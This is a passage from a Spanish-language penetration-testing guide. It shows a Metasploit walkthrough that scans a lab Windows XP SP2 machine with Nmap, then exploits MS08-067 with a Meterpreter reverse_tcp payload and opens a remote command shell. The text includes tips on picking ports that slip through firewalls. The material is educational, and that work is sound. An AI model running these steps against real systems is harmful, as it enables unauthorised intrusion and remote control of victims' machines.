A continuación, ingrese set payload Windows/ shell / reverse_tcp para seleccionar el payload reverse_tcp. Cuando ingresamos show options una vez más vemos que las opciones adicionales se muestran: msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp payload => windows/shell/reverse_tcp msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ----------------------------------RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/shell/reverse_tcp): Name Current Setting -----------------EXITFUNC thread LHOST LPORT 4444

Required -------yes yes yes

Description ----------Exit technique: seh, thread, process The local address The local port

Observe que cuando el payload es seleccionado y las opciones se muestran, se nos presenta con algunas opciones adicionales en la sección del payload, como LHOST y LPORT. En este ejemplo, podría configurar el payload para conectar a la máquina atacante en una dirección específica IP y el número de puerto, llamado payload inverso (reverse payload). En esta, la conexión es en realidad llevada a cabo por la máquina de objetivo y se conecta 91

con la del atacante. Usted puede utilizar esta técnica para evitar un firewall o un NAT. Vamos a configurar este exploit con las opciones LHOST y RHOST. LHOST, en la máquina atacante, se conectará de nuevo a la máquina de destino (RHOST) en el puerto TCP por defecto (4444).

msf>show targets

Los módulos a menudo muestran una lista de posibles objetivos vulnerables. Por ejemplo, la vulnerabilidad MS08-067 está basada en los códigos no modificables de las direcciones de memoria, los exploit deben ser específicos para ciertos sistemas operativos con los niveles de parches específicos, versión lenguaje e implementación de seguridad. Usando el comando show target en la línea de comando msf MS08-067 se muestra una lista de los 60 objetivos a explotar (con sólo una porción como se muestra en el siguiente ejemplo). El está

éxito

de

un

exploit dependerá

atacando. A veces, la

de

la versión

de

Windows

que

se

detección automática no funciona, e incluso podría

activar el exploit equivocado, lo que suele dar lugar a una detención del servicio. msf exploit(ms08_067_netapi) > show targets Exploit targets: Id Name ----0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows XP SP2 English (NX) 4 Windows XP SP3 English (NX) 5 Windows 2003 SP0 Universal 6 Windows 2003 SP1 English (NO NX) 7 Windows 2003 SP1 English (NX)

92

8 Windows 2003 SP2 English (NO NX) 9 Windows 2003 SP2 English (NX)

En este ejemplo, se puede ver que en la lista de exploit “Automatic Targeting” como una opción. A menudo, un módulo exploit intentará acceder el sistema operativo de forma automática, en función de su versión y de selección de un exploit basado en su huella digital (fingerprint). Sin embargo, a menudo es mejor tratar de identificar el exploit adecuado uno mismo para evitar el desencadenamiento de un exploit incorrecto con unos resultados potencialmente catastroficos.

set and unset Todas las opciones para un módulo de Metasploit determinado, deben especificar las opciones set y unset, sobre todo si se marcan como required o yes. Al ingresar el comando show options, verá la información especifica si un campo es obligatorio. Utilice el comando set para configurar una opción (encender), y use unset para definir e ajuste de apagado. La siguiente lista muestra los comandos set y unset en uso. msf exploit(ms08_067_netapi) > set RHOST 192.168.1.155 RHOST => 192.168.1.155 msf exploit(ms08_067_netapi) > set TARGET 3 TARGET => 3 msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ----------------------------------RHOST 192.168.1.155 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target:

93

Id -3

Name ---Windows XP SP2 English (NX)

msf exploit(ms08_067_netapi) > unset RHOST Unsetting RHOST...

Con RHOST configuramos el objetivo a atacar el cual tiene una dirección IP 192.168.1.155. Luego configuramos en 3 la maquina objetivo, la cual sabemos que posee Windows XP SP2 English (NX), el cual observamos en la lista al usar el comando show targets en el prompt msf>. Ejecutamos el comando show options para confirmar que nuestra configuración ha sido exitosa, como se muestra el Module options.

Explotando una maquina Con algunos de los fundamentos obtenidos y la comprensión de cómo establecer variables dentro del msfconsole, vamos a explotar nuestra primera máquina. Para ello, usaremos las máquinas virtuales Windows XP Service Pack 2. Vamos a utilizar Metasploit desde BackTrack. Si utiliza los escáneres de vulnerabilidad descritos en este documento contra la máquina virtual de Windows XP SP2, encontrará las vulnerabilidades explicadas en el exploit MS08-067. Vamos a empezar por la búsqueda de esta vulnerabilidad por nuestra cuenta. A medida que sus habilidades como pen-tester mejoren, el descubrimiento de ciertas puertos abiertos dará lugar a ideas acerca de cómo se puede explotar un servicio particular. Una de las mejores maneras para llevar a cabo esta comprobación es mediante el

94

uso de las opciones de secuencia de comandos de NMap dentro de Metasploit, como se muestra aquí: root@bt:/root# cd /opt/framework3/msf3/ root@bt:/opt/framework3/msf3# msfconsole . . . SNIP . . . msf > nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130 [*] exec: nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130 Starting Nmap 5.20 ( http://nmap.org ) at 2011-03-15 19:46 EDT Warning: Traceroute does not support idle or connect scan, disabling... NSE: Script Scanning completed. Nmap scan report for 192.168.33.130 Host is up (0.00050s latency). Not shown: 991 closed port PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 25/tcp open smtp Microsoft ESMTP 6.0.2600.2180 80/tcp open http Microsoft IIS webserver 5.1 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 443/tcp open https? 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 1025/tcp open msrpc Microsoft Windows RPC 1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM MAC Address: 00:0C:29:EA:26:7C (VMware) Device type: general purpose Running: Microsoft Windows XP|2003 OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003 � Network Distance: 1 hop Service Info: Host: ihazsecurity; OS: Windows Host script results: smb-check-vulns: MS08-067: VULNERABLE Conficker: Likely CLEAN regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run) SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run) OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 71.67 seconds msf >

95

Aquí, ejecutamos NMap con el plug-in - script=smb-check-vulns . Observe las utilizadas durante la exploración de la máquina con NMap.

banderas

La -sT es una conexión

TCP en modo furtivo, la cual es la bandera más confiable cuando se trata de enumerar los puertos. (Otros prefieren -sS, o SYN Stealth.) La opción –A especifica una detección avanzada del sistema operativo (OS), la cual también realiza algunas capturas de banners adicionales y de huella digitales de un servicio específico.

Observe

que

en los

067: VULNERABLE.

resultados Este

es

de NMap un buen

se

reporta

indicio

de

la

vulnerabilidad MS08-

que tenemos la

oportunidad

de explotar este sistema. Usaremos a Metasploit para encontrar el exploit que queremos usar para comprometer el sistema. Este exploit es específico para la versión del sistema operativo, para el Service Pack y para el lenguaje usado en el sistema.

Basándose en los resultados de escaneo NMap, podemos

decir

que

el

sistema está

ejecutando Windows XP Service Pack 2. (También es posible identificarlo en caso de que sea Windows 2003) asumimos que nuestro objetivo está corriendo en el idioma ingles.

Ahora explotaremos las vulnerabilidades del sistema: msf > search ms08_067_netapi [*] Searching loaded modules for pattern 'ms08_067_netapi'... Exploits ======== Name Rank Description ----------------windows/smb/ms08_067_netapi great Microsoft Server Service Relative Path Stack Corruption

96

msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > show targets Exploit targets: Id Name ----0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows XP SP2 English (NX) 4 Windows XP SP3 English (NX) 5 Windows 2003 SP0 Universal 6 Windows 2003 SP1 English (NO NX) 7 Windows 2003 SP1 English (NX) 8 Windows 2003 SP2 English (NO NX) 9 Windows 2003 SP2 English (NX) . . . SNIP . . . 26 Windows XP SP2 Japanese (NX) . . . SNIP . . . msf exploit(ms08_067_netapi) target => 3 msf exploit(ms08_067_netapi) RHOST => 192.168.33.130 msf exploit(ms08_067_netapi) LHOST => 192.168.33.129 msf exploit(ms08_067_netapi) LPORT => 8080 msf exploit(ms08_067_netapi)

> set TARGET 3 > set RHOST 192.168.33.130 > set LHOST 192.168.33.129 > set LPORT 8080 > show options

Module options: Name Current Setting -----------------RHOST 192.168.33.130 RPORT 445 SMBPIPE BROWSER

Required -------yes yes yes

Description ----------The target address Set the SMB service port The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp): Name ---EXITFUNC LHOST LPORT

Current Setting --------------thread 192.168.33.129 8080

Required -------yes yes yes

Exploit target:

97

Description ----------Exit technique: seh, thread, process The local address The local port

Id -3

Name ---Windows XP SP2 English (NX)

Primero buscamos el exploit para MS08-067 NetAPI. Entonces teniendo a nuestro exploit, cargamos el exploit windows/smb/ms08_067_netapi. Posteriormente configuramos el payload basado en el Meterpreter reverse_tcp de Windows, el cual comenzará una conexión con la maquina objetivo y conectar de nuevo a la máquina atacante especificada con LHOST. Esto es importante si te encuentras con que un servidor de seguridad está en su lugar y hay que evitar los controles de entrada en un cortafuego o NAT. Meterpreter es una herramienta de explotación que vamos a utilizar a través de este ejemplo. Una de las herramientas emblemáticas de Metasploit, hace que la extracción de información de los sistemas comprometidos sea mucho más fácil. El comando show target nos permite identificar el sistema que queremos atacar. (Aunque muchos exploits de MSF utiliza la orientación automática y no requieren de esta bandera, la capacidad de detección automática en general, no en MS08-067.) A continuación, establecemos nuestro objetivo a Windows XP SP2 Inglés (NX). NX está configurado en No Ejecutar (No Execute). De forma predeterminada en Windows XP SP2, DEP está habilitado. Luego configuramos la dirección IP del equipo de destino definiéndolo en RHOST. El comando LHOST especifica la dirección IP de nuestra máquina atacante, y la opción LPORT especifica el puerto por el cual nuestra máquina atacante escucha la conexión de nuestro objetivo. (Cuando está configurando la opción LPORT, utilice un puerto estándar que esta permite a través del firewall: Puertos 443, 80, 53, y 8080 son a menudo buenas Opciones.) Por último, ingresamos show options en la opcion

para asegurarse de que las opciones están

98

configuradas correctamente. Teniendo configurada esta etapa, vamos a realizar una explotación real: msf exploit(ms08_067_netapi) > exploit [*] Started reverse handler on 192.168.33.129:8080 [*] Triggering the vulnerability... [*] Sending stage (748032 bytes) [*] Meterpreter session 1 opened (192.168.33.129:8080 -> 192.168.33.130:1487) msf exploit(ms08_067_netapi) > sessions -l Active sessions Id -1

Type ---meterpreter

Information -----------

Connection ---------192.168.33.129:8080 -> 192.168.33.130:1036

msf exploit(ms08_067_netapi) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell Process 4060 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>

El comando exploit inicia nuestro exploit y trata de atacar a el objetivo. El ataque tiene éxito y nos da un Meterpreter reverse_tcp , la que podemos ver con el comando sesions -l . Sólo una sesión está activa, pero si atacamos múltiples sistemas, varias sesiones se podrían abrir simultáneamente. (Para ver una lista de los exploit que crearon cada sesión, tenemos que ingresar sesions –l –v.) El comando sesions -i se usa en para interactuar con un sesion individual. Tenga en cuenta que esto nos deja en el Shell del Meterpreter. Por último, entramos al símbolo del sistema en la maquina objetivo.

99

4. CONCLUSIONES Y RECOMENDACIONES Finalmente se puede decir que estas herramientas se deben usar con sumo cuidado, puesto que podrían acarrear graves problemas sobre la maquina atacada. Estas prácticas están reguladas por las leyes informáticas en cada país, su uso es exclusivo para hacking ético.

Esta guía es solo introductoria para las pruebas de penetración, es decir que para profundizar se debe indagar sobre cada una de las herramientas aquí descritas. Es necesario aclarar que este tema es muy extenso y depende, en gran manera, de la pericia y la experiencia del pen-tester.

Señor lector si usted no posee ninguna experiencia en redes, ni en programación y tampoco en la administración y configuración de sistemas operativos, le recomendamos enfáticamente no llevar a cabo estas pruebas sobre un sistema en producción, porque los resultados podrían ser perjudiciales para la organización bajo evaluación.

100

5. BIBLIOGRAFIA

BackTrack 4: Assuring Security by Penetration Testing Master the art of penetration testing with BackTrack. Shakeel Ali, Tedi Heriyanto. Packt Publishing Open Source. 2011 METASPLOIT, The Penetration Tester’s Guide. by David Kennedy, Jim O’Gorman, Devon Kearns, and Mati Aharoni. No Starch Press Inc. 2011-11-24

Hackig Etico. Carlos Tori. Argentina 2008

Metasploit Toolkit for Penetration Testing, Exploit Development, and Vulnerability Research David Maynor, K. K. Mookhey. Syngress Publishing, Inc. 2007

http://www.pentest-standard.org/

http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-es-4/

SANS: The Top Cyber Security Risks (http://www.sans.org/top-cyber-security-risks/)

National Vulnerability Database Home (http://nvd.nist.gov/home.cfm)

SecurityFocus

101

102

103

View more...

Comments

Copyright ©2017 KUPDF Inc.
SUPPORT KUPDF